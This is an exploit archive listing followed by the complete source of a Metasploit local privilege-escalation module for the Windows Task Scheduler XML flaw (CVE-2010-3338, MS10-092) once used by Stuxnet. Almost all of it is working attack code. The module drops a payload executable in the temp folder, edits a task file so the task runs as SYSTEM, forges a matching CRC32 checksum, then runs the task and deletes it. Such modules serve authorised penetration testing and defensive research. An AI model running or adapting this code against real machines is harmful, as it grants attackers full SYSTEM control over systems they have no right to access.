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Windows Escalate Task Scheduler XML Privilege Escalation

Windows Escalate Task Scheduler XML Privilege Escalation
Posted Jul 19, 2012
Authored by jduck | Site metasploit.com

This Metasploit module exploits the Task Scheduler 2.0 XML 0day exploited by Stuxnet. When processing task files, the Windows Task Scheduler only uses a CRC32 checksum to validate that the file has not been tampered with. Also, In a default configuration, normal users can read and write the task files that they have created. By modifying the task file and creating a CRC32 collision, an attacker can execute arbitrary commands with SYSTEM privileges.

tags | exploit, arbitrary
systems | windows
advisories | CVE-2010-3338, OSVDB-68518
MD5 | 985eb9053e6cd158c35c0837cbba1589

Windows Escalate Task Scheduler XML Privilege Escalation

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'
require 'msf/core/post/common'
require 'rex'
require 'zlib'


class Metasploit3 < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Exploit::EXE
include Msf::Post::Common
include Msf::Post::File

def initialize(info={})
super(update_info(info, {
'Name' => 'Windows Escalate Task Scheduler XML Privilege Escalation',
'Description' => %q{
This module exploits the Task Scheduler 2.0 XML 0day exploited by Stuxnet.
When processing task files, the Windows Task Scheduler only uses a CRC32
checksum to validate that the file has not been tampered with. Also, In a default
configuration, normal users can read and write the task files that they have
created. By modifying the task file and creating a CRC32 collision, an attacker
can execute arbitrary commands with SYSTEM privileges.

NOTE: Thanks to webDEViL for the information about disable/enable.
},
'License' => MSF_LICENSE,
'Author' => [ 'jduck' ],
'Version' => '$Revision$',
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
'Platform' => [ 'windows' ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' =>
[
[ 'Windows Vista, 7, and 2008', {} ],
],
'References' =>
[
[ 'OSVDB', '68518' ],
[ 'CVE', '2010-3338' ],
[ 'BID', '44357' ],
[ 'MSB', 'MS10-092' ],
[ 'EDB', 15589 ]
],
'DisclosureDate'=> 'Sep 13 2010',
'DefaultTarget' => 0
}))

register_options([
OptString.new("CMD", [ false, "Command to execute instead of a payload" ]),
OptString.new("TASKNAME", [ false, "A name for the created task (default random)" ]),
])

end

def check
vuln = false
winver = sysinfo["OS"]
affected = [ 'Windows Vista', 'Windows 7', 'Windows 2008' ]
affected.each { |v|
if winver.include? v
vuln = true
break
end
}
if not vuln
return Exploit::CheckCode::Safe
end

return Exploit::CheckCode::Appears
end

def exploit
if sysinfo["Architecture"] =~ /wow64/i
#
# WOW64 Filesystem Redirection prevents us opening the file directly. To make matters
# worse, meterpreter/railgun creates things in a new thread, making it much more
# difficult to disable via Wow64EnableWow64FsRedirection. Until we can get around this,
# offer a workaround and error out.
#
print_error("Running against via WOW64 is not supported, try using an x64 meterpreter...")
return
end

if check == Exploit::CheckCode::Safe
print_error("#{winver} is not vulnerable.")
return
end

taskname = datastore["TASKNAME"] || nil
cmd = datastore["CMD"] || nil
upload_fn = nil

tempdir = session.fs.file.expand_path("%TEMP%")
if not cmd
# Get the exe payload.
exe = generate_payload_exe
#and placing it on the target in %TEMP%
tempexename = Rex::Text.rand_text_alpha(rand(8)+6)
cmd = tempdir + "\\" + tempexename + ".exe"

print_status("Preparing payload at #{cmd}")
write_file(cmd, exe)
else
print_status("Using command: #{cmd}")
end

#
# Create a new task to do our bidding, but make sure it doesn't run.
#
taskname ||= Rex::Text.rand_text_alphanumeric(8+rand(8))
sysdir = session.fs.file.expand_path("%SystemRoot%")
taskfile = "#{sysdir}\\system32\\tasks\\#{taskname}"

print_status("Creating task: #{taskname}")
cmdline = "schtasks.exe /create /tn #{taskname} /tr \"#{cmd}\" /sc monthly /f"
# print_debug("Will Execute:\n\t#{cmdline}")
exec_schtasks(cmdline, "create the task")

#
# Read the contents of the newly creates task file
#
content = read_task_file(taskname, taskfile)

#
# Double-check that we got what we expect.
#
if content[0,2] != "\xff\xfe"
#
# Convert to unicode, since it isn't already
#
content = content.unpack('C*').pack('v*')
else
#
# NOTE: we strip the BOM here to exclude it from the crc32 calculation
#
content = content[2,content.length]
end


#
# Record the crc32 for later calculations
#
old_crc32 = crc32(content)
print_status("Original CRC32: 0x%x" % old_crc32)

#
# Convert the file contents from unicode
#
content = content.unpack('v*').pack('C*')

#
# Mangle the contents to now run with SYSTEM privileges
#
content.gsub!('LeastPrivilege', 'HighestAvailable')
content.gsub!(/<UserId>.*<\/UserId>/, '<UserId>S-1-5-18</UserId>')
content.gsub!(/<Author>.*<\/Author>/, '<Author>S-1-5-18</Author>')
#content.gsub!('<LogonType>InteractiveToken</LogonType>', '<LogonType>Password</LogonType>')
content.gsub!('Principal id="Author"', 'Principal id="LocalSystem"')
content.gsub!('Actions Context="Author"', 'Actions Context="LocalSystem"')
content << "<!-- ZZ -->"

#
# Convert it back to unicode
#
content = Rex::Text.to_unicode(content)

#
# Fix it so the CRC matches again
#
fix_crc32(content, old_crc32)
new_crc32 = crc32(content)
print_status("Final CRC32: 0x%x" % new_crc32)

#
# Write the new content back
#
print_status("Writing our modified content back...")
fd = session.fs.file.new(taskfile, "wb")
fd.write "\xff\xfe" + content
fd.close

#
# Validate our results
#
print_status("Validating task: #{taskname}")
exec_schtasks("schtasks.exe /query /tn #{taskname}", "validate the task")

#
# Run the task :-)
#
print_status("Disabling the task...")
exec_schtasks("schtasks.exe /change /tn #{taskname} /disable", "disable the task")

print_status("Enabling the task...")
exec_schtasks("schtasks.exe /change /tn #{taskname} /enable", "enable the task")

print_status("Executing the task...")
exec_schtasks("schtasks.exe /run /tn #{taskname}", "run the task")


#
# And delete it.
#
print_status("Deleting the task...")
exec_schtasks("schtasks.exe /delete /f /tn #{taskname}", "delete the task")
end

def crc32(data)
table = Zlib.crc_table
crc = 0xffffffff
data.unpack('C*').each { |b|
crc = table[(crc & 0xff) ^ b] ^ (crc >> 8)
}
crc
end

def fix_crc32(data, old_crc)
#
# CRC32 stuff from ESET (presumably reversed from Stuxnet, which was presumably
# reversed from Microsoft's code)
#
bwd_table = [
0x00000000, 0xDB710641, 0x6D930AC3, 0xB6E20C82,
0xDB261586, 0x005713C7, 0xB6B51F45, 0x6DC41904,
0x6D3D2D4D, 0xB64C2B0C, 0x00AE278E, 0xDBDF21CF,
0xB61B38CB, 0x6D6A3E8A, 0xDB883208, 0x00F93449,
0xDA7A5A9A, 0x010B5CDB, 0xB7E95059, 0x6C985618,
0x015C4F1C, 0xDA2D495D, 0x6CCF45DF, 0xB7BE439E,
0xB74777D7, 0x6C367196, 0xDAD47D14, 0x01A57B55,
0x6C616251, 0xB7106410, 0x01F26892, 0xDA836ED3,
0x6F85B375, 0xB4F4B534, 0x0216B9B6, 0xD967BFF7,
0xB4A3A6F3, 0x6FD2A0B2, 0xD930AC30, 0x0241AA71,
0x02B89E38, 0xD9C99879, 0x6F2B94FB, 0xB45A92BA,
0xD99E8BBE, 0x02EF8DFF, 0xB40D817D, 0x6F7C873C,
0xB5FFE9EF, 0x6E8EEFAE, 0xD86CE32C, 0x031DE56D,
0x6ED9FC69, 0xB5A8FA28, 0x034AF6AA, 0xD83BF0EB,
0xD8C2C4A2, 0x03B3C2E3, 0xB551CE61, 0x6E20C820,
0x03E4D124, 0xD895D765, 0x6E77DBE7, 0xB506DDA6,
0xDF0B66EA, 0x047A60AB, 0xB2986C29, 0x69E96A68,
0x042D736C, 0xDF5C752D, 0x69BE79AF, 0xB2CF7FEE,
0xB2364BA7, 0x69474DE6, 0xDFA54164, 0x04D44725,
0x69105E21, 0xB2615860, 0x048354E2, 0xDFF252A3,
0x05713C70, 0xDE003A31, 0x68E236B3, 0xB39330F2,
0xDE5729F6, 0x05262FB7, 0xB3C42335, 0x68B52574,
0x684C113D, 0xB33D177C, 0x05DF1BFE, 0xDEAE1DBF,
0xB36A04BB, 0x681B02FA, 0xDEF90E78, 0x05880839,
0xB08ED59F, 0x6BFFD3DE, 0xDD1DDF5C, 0x066CD91D,
0x6BA8C019, 0xB0D9C658, 0x063BCADA, 0xDD4ACC9B,
0xDDB3F8D2, 0x06C2FE93, 0xB020F211, 0x6B51F450,
0x0695ED54, 0xDDE4EB15, 0x6B06E797, 0xB077E1D6,
0x6AF48F05, 0xB1858944, 0x076785C6, 0xDC168387,
0xB1D29A83, 0x6AA39CC2, 0xDC419040, 0x07309601,
0x07C9A248, 0xDCB8A409, 0x6A5AA88B, 0xB12BAECA,
0xDCEFB7CE, 0x079EB18F, 0xB17CBD0D, 0x6A0DBB4C,
0x6567CB95, 0xBE16CDD4, 0x08F4C156, 0xD385C717,
0xBE41DE13, 0x6530D852, 0xD3D2D4D0, 0x08A3D291,
0x085AE6D8, 0xD32BE099, 0x65C9EC1B, 0xBEB8EA5A,
0xD37CF35E, 0x080DF51F, 0xBEEFF99D, 0x659EFFDC,
0xBF1D910F, 0x646C974E, 0xD28E9BCC, 0x09FF9D8D,
0x643B8489, 0xBF4A82C8, 0x09A88E4A, 0xD2D9880B,
0xD220BC42, 0x0951BA03, 0xBFB3B681, 0x64C2B0C0,
0x0906A9C4, 0xD277AF85, 0x6495A307, 0xBFE4A546,
0x0AE278E0, 0xD1937EA1, 0x67717223, 0xBC007462,
0xD1C46D66, 0x0AB56B27, 0xBC5767A5, 0x672661E4,
0x67DF55AD, 0xBCAE53EC, 0x0A4C5F6E, 0xD13D592F,
0xBCF9402B, 0x6788466A, 0xD16A4AE8, 0x0A1B4CA9,
0xD098227A, 0x0BE9243B, 0xBD0B28B9, 0x667A2EF8,
0x0BBE37FC, 0xD0CF31BD, 0x662D3D3F, 0xBD5C3B7E,
0xBDA50F37, 0x66D40976, 0xD03605F4, 0x0B4703B5,
0x66831AB1, 0xBDF21CF0, 0x0B101072, 0xD0611633,
0xBA6CAD7F, 0x611DAB3E, 0xD7FFA7BC, 0x0C8EA1FD,
0x614AB8F9, 0xBA3BBEB8, 0x0CD9B23A, 0xD7A8B47B,
0xD7518032, 0x0C208673, 0xBAC28AF1, 0x61B38CB0,
0x0C7795B4, 0xD70693F5, 0x61E49F77, 0xBA959936,
0x6016F7E5, 0xBB67F1A4, 0x0D85FD26, 0xD6F4FB67,
0xBB30E263, 0x6041E422, 0xD6A3E8A0, 0x0DD2EEE1,
0x0D2BDAA8, 0xD65ADCE9, 0x60B8D06B, 0xBBC9D62A,
0xD60DCF2E, 0x0D7CC96F, 0xBB9EC5ED, 0x60EFC3AC,
0xD5E91E0A, 0x0E98184B, 0xB87A14C9, 0x630B1288,
0x0ECF0B8C, 0xD5BE0DCD, 0x635C014F, 0xB82D070E,
0xB8D43347, 0x63A53506, 0xD5473984, 0x0E363FC5,
0x63F226C1, 0xB8832080, 0x0E612C02, 0xD5102A43,
0x0F934490, 0xD4E242D1, 0x62004E53, 0xB9714812,
0xD4B55116, 0x0FC45757, 0xB9265BD5, 0x62575D94,
0x62AE69DD, 0xB9DF6F9C, 0x0F3D631E, 0xD44C655F,
0xB9887C5B, 0x62F97A1A, 0xD41B7698, 0x0F6A70D9
]

crc = crc32(data[0, data.length - 12])
data[-12, 4] = [crc].pack('V')

data[-12, 12].unpack('C*').reverse.each { |b|
old_crc = ((old_crc << 8) ^ bwd_table[old_crc >> 24] ^ b) & 0xffffffff
}
data[-12, 4] = [old_crc].pack('V')
end

def exec_schtasks(cmdline, purpose)
cmdline = "/c #{cmdline.strip} && echo SCHELEVATOR"
lns = cmd_exec('cmd.exe', cmdline)

success = false
lns.each_line { |ln|
ln.chomp!
if ln =~ /^SUCCESS\:\s/
success = true
print_status(ln)
else
print_status(ln)
end
}
end


def read_task_file(taskname, taskfile)
print_status("Reading the task file contents from #{taskfile}...")

# Can't read the file directly on 2008?
content = ''
fd = session.fs.file.new(taskfile, "rb")
until fd.eof?
content << fd.read
end
fd.close

content
end

end

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